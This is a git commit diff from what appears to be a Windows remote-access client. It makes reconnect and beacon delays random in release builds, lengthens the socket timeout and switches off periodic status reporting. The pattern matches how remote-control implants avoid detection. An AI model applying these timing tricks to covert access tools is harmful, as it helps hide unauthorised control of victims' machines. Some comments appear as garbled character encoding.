Lib: add Dependencies.md and update some libraries

This commit is contained in:
yuanyuanxiang
2025-07-27 17:32:28 +08:00
parent c4a613a2e1
commit c9904b2822
20 changed files with 871 additions and 790 deletions

View File

@@ -516,7 +516,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue;
}

View File

@@ -54,7 +54,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
#ifdef _DEBUG
m_settings = { 5 };
#else
m_settings = { 30 };
m_settings = { 0 };
#endif
m_nNetPing = -1;
m_hKeyboard = kb;

View File

@@ -99,7 +99,7 @@ public:
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
Sleep(1000);
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Sleep(1000);
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected(); --i) Sleep(1000);
return 0;
}
if (g_bExit || !m_ClientObject->IsConnected())

View File

@@ -31,8 +31,10 @@
#error <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>#include "vld.h"<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>Release<73><65><EFBFBD><EFBFBD>
#endif
#define USING_SAFETHRED 0
#define IsDebug 1
#else
#define USING_SAFETHRED 1
#define IsDebug 0
#endif
// Insert your headers here

View File

@@ -157,7 +157,7 @@ public:
do {
if (!isFirstConnect)
Sleep(5000);
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
@@ -165,7 +165,7 @@ public:
continue;
}
DWORD timeout = 5000;
DWORD timeout = 30000;
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
sockaddr_in serverAddr = {};